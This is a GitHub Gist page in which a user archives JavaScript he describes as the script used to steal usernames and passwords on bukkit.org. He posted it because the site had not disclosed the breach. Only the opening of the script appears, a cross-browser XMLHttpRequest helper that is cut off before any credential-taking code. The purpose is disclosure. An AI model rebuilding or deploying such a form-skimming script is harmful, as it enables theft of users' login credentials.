Skip to content

Instantly share code, notes, and snippets.

Avatar
🏠
Working from 🏡

Max Korlaar MaxKorlaar

🏠
Working from 🏡
View GitHub Profile
@MaxKorlaar
MaxKorlaar / Bukkit.org credentials script.js
Last active Aug 8, 2016
This was the script that was used to steal passwords and usernames on bukkit.org, one of Curse's sites. Since they didn't disclose it at the time I wrote my blog post, I published it here for future reference.
View Bukkit.org credentials script.js
function getXmlHttp() {
try {
return new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
return new ActiveXObject("Microsoft.XMLHTTP");
}
catch (ee) {
}